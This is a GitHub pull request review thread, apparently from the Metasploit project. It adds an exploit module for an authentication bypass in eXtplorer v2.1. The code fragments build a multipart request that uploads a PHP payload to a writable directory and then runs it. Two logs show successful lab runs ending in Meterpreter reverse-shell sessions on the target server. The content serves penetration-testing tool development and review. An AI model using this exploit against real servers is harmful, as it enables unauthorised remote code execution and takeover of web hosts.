Add eXtplorer v2.1 auth bypass exploit module #1221

Merged
merged 1 commit into from Jan 9, 2013

Projects

None yet

4 participants

@bcoles
Contributor
bcoles commented Dec 30, 2012

Add eXtplorer v2.1 authentication bypass vulnerability exploit module

eXtplorer v2.1 authentication bypass vulnerability exploit

@brandonprry brandonprry commented on the diff Dec 30, 2012
modules/exploits/multi/http/extplorer_upload_exec.rb
+
+ def check
+
+ base = target_uri.path
+ base << '/' if base[-1, 1] != '/'
+ peer = "#{rhost}:#{rport}"
+
+ # retrieve software version from ./extplorer.xml
+ begin
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => "#{base}extplorer.xml"
+ })
+
+ return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/
+ return Exploit::CheckCode::Detected if res and res.code == 200 and res.body =~ /eXtplorer/
@brandonprry
brandonprry Dec 30, 2012 Contributor

Seems like you could move the "if res and res.code == 200" into a parent if statement, and make these lines a bit shorter, then use an else for the safe check code.

@brandonprry brandonprry commented on the diff Dec 30, 2012
modules/exploits/multi/http/extplorer_upload_exec.rb
+ data_post << "Content-Disposition: form-data; name=\"userfile[0]\"; filename=\"#{fname}\"\r\n"
+ data_post << "Content-Type: application/x-httpd-php\r\n"
+ data_post << "\r\n#{file}\r\n"
+ data_post << "--#{boundary}\r\n"
+ data_post << "Content-Disposition: form-data; name=\"overwrite_files\"\r\n\r\non\r\n"
+ data_post << "--#{boundary}\r\n"
+ data_post << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n%2f#{dir}\r\n"
+ data_post << "--#{boundary}\r\n"
+ data_post << "Content-Disposition: form-data; name=\"option\"\r\n\r\ncom_extplorer\r\n"
+ data_post << "--#{boundary}\r\n"
+ data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n"
+ data_post << "--#{boundary}\r\n"
+ data_post << "Content-Disposition: form-data; name=\"requestType\"\r\n\r\nxmlhttprequest\r\n"
+ data_post << "--#{boundary}\r\n"
+ data_post << "Content-Disposition: form-data; name=\"confirm\"\r\n\r\ntrue\r\n"
+ data_post << "--#{boundary}\r\n"
@brandonprry
brandonprry Dec 30, 2012 Contributor

It would be great if this were actually a Rex::Mime::Message, it is for this specifically.

@wchen-r7
wchen-r7 Dec 30, 2012 Contributor

Rex::Mime::Message is preferred for sure. However, if that function is failing for you for some reason.... make sure the extra \r\n isn't the reason why it's failing. Usually I do this to filter that out:

gsub(/^\r\n--Part/, '--Part')

@brandonprry brandonprry commented on the diff Dec 30, 2012
modules/exploits/multi/http/extplorer_upload_exec.rb
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => "#{base}index.php",
+ 'cookie' => datastore['COOKIE'],
+ 'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
+ })
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_error("#{@peer} - Connection failed")
+ return
+ end
+ if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
+ dir = "#{base}#{$1}"
+ print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})")
+ else
+ dir = "#{base}"
+ print_error("#{@peer} - Could not find a writable subdirectory.")
@brandonprry
brandonprry Dec 30, 2012 Contributor

Instead of using these print_errors and then returning (or forgetting to return like here), you should check out fail_with. A quick rgrep of the modules/ directory will give you many examples.

@brandonprry
brandonprry Dec 30, 2012 Contributor

On the other hand, if this was on purpose and you expected execution of the script to continue, you should make this a print_warning. The other print_errors should still be fail_with

@wchen-r7
wchen-r7 Dec 30, 2012 Contributor

fail_with() will exit the module, that doesn't look like that's what he wants. print_error() is ok with me in this case, really. There's never been any solid guidelines on when to use print_warning or print_error....... I added print_warning() because some modules used to modify datastore options directly.... so if it's absolutely necessary in that case, print_warning() is used to warn the user that the option is being modified. I also use print_warning() when the module is touching the file system on the victim machine (ie. during exploit cleanup).

@brandonprry brandonprry commented on the diff Dec 30, 2012
modules/exploits/multi/http/extplorer_upload_exec.rb
+ base = target_uri.path
+ base << '/' if base[-1, 1] != '/'
+ peer = "#{rhost}:#{rport}"
+
+ # retrieve software version from ./extplorer.xml
+ begin
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => "#{base}extplorer.xml"
+ })
+
+ return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/
+ return Exploit::CheckCode::Detected if res and res.code == 200 and res.body =~ /eXtplorer/
+ return Exploit::CheckCode::Safe
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_error("#{peer} - Connection failed")
@brandonprry
brandonprry Dec 30, 2012 Contributor

I would like to see this as either a fail_with or print_warning. I expect you want to continue down to the return Unknown checkcode, so I would use print_warning.

@wchen-r7
wchen-r7 Dec 30, 2012 Contributor

fail_with will exit the module. The check() should still return something when it can.

@brandonprry
Contributor

I cannot reproduce this and I have a tried a few different tarballs. Can you paste me the md5 or, better yet, email the md5 and archive you used to brandon_perry@rapid7.com

@brandonprry
Contributor

My Target URI was wrong.

msf exploit(extplorer_upload_exec) > set TARGETURI /
TARGETURI => /
msf exploit(extplorer_upload_exec) > exploit

[] Started reverse handler on 192.168.1.31:4444
[
] 192.168.1.58:80 - Authenticating as user (admin)
[] 192.168.1.58:80 - Authenticated successfully
[
] 192.168.1.58:80 - Retrieving writable subdirectories
[] 192.168.1.58:80 - Successfully retrieved writable subdirectory (ftp_tmp)
[
] 192.168.1.58:80 - Uploading PHP payload (1785 bytes) to /ftp_tmp
[+] 192.168.1.58:80 - File uploaded successfully
[] 192.168.1.58:80 - Searching directories for file (QtuNy3LIlEmmd.php)
[+] 192.168.1.58:80 - Successfully found file
[
] 192.168.1.58:80 - Executing payload (/ftp_tmp/QtuNy3LIlEmmd.php)
[] Sending stage (39217 bytes) to 192.168.1.58
[
] Meterpreter session 1 opened (192.168.1.31:4444 -> 192.168.1.58:54293) at 2012-12-30 11:43:03 -0600

getuid

meterpreter >
meterpreter > getuid
Server username: www-data (33)
meterpreter >

@wchen-r7 wchen-r7 commented on the diff Dec 30, 2012
modules/exploits/multi/http/extplorer_upload_exec.rb
+ 'Author' =>
+ [
+ 'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
+ ],
+ 'References' =>
+ [
+ ['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'],
+ ['URL', 'http://extplorer.net/issues/105']
+ ],
+ 'Payload' =>
+ {
+ 'BadChars' => "\x00"
+ },
+ 'DefaultOptions' =>
+ {
+ 'ExitFunction' => "none"
@wchen-r7
wchen-r7 Dec 30, 2012 Contributor

you probably don't even need DefaultOptions at all.

@wchen-r7 wchen-r7 commented on the diff Dec 30, 2012
modules/exploits/multi/http/extplorer_upload_exec.rb
+ directory in the web root. This module uses an authentication bypass
+ vulnerability to upload and execute a file.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
+ ],
+ 'References' =>
+ [
+ ['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'],
+ ['URL', 'http://extplorer.net/issues/105']
+ ],
+ 'Payload' =>
+ {
+ 'BadChars' => "\x00"
@wchen-r7
wchen-r7 Dec 30, 2012 Contributor

This is kinda a weird habit we do. We tend to leave BadChars => "\x00" in there when there are no bad chars at all. If this is the case for you, please feel free to remove the Payload option.

@jvazquez-r7
Contributor

Did cleanup by myself and retested:

msf  exploit(extplorer_upload_exec) > check
[+] The target is vulnerable.
msf  exploit(extplorer_upload_exec) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.138:80 - Authenticating as user (admin)
[*] 192.168.1.138:80 - Authenticated successfully
[*] 192.168.1.138:80 - Retrieving writable subdirectories
[*] 192.168.1.138:80 - Successfully retrieved writable subdirectory (config)
[*] 192.168.1.138:80 - Uploading PHP payload (1316 bytes) to /eXtplorer/config
[+] 192.168.1.138:80 - File uploaded successfully
[*] 192.168.1.138:80 - Searching directories for file (l3xVr4qUooRD.php)
[+] 192.168.1.138:80 - Successfully found file
[*] 192.168.1.138:80 - Executing payload (/eXtplorer/config/l3xVr4qUooRD.php)
[*] Sending stage (39217 bytes) to 192.168.1.138
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.138:41454) at 2013-01-09 19:43:18 +0100
^C[-] Exploit failed: Interrupt 
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > 

merging!

@jvazquez-r7 jvazquez-r7 merged commit 8e543cf into rapid7:master Jan 9, 2013

1 check passed

default The Travis build passed
Details
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment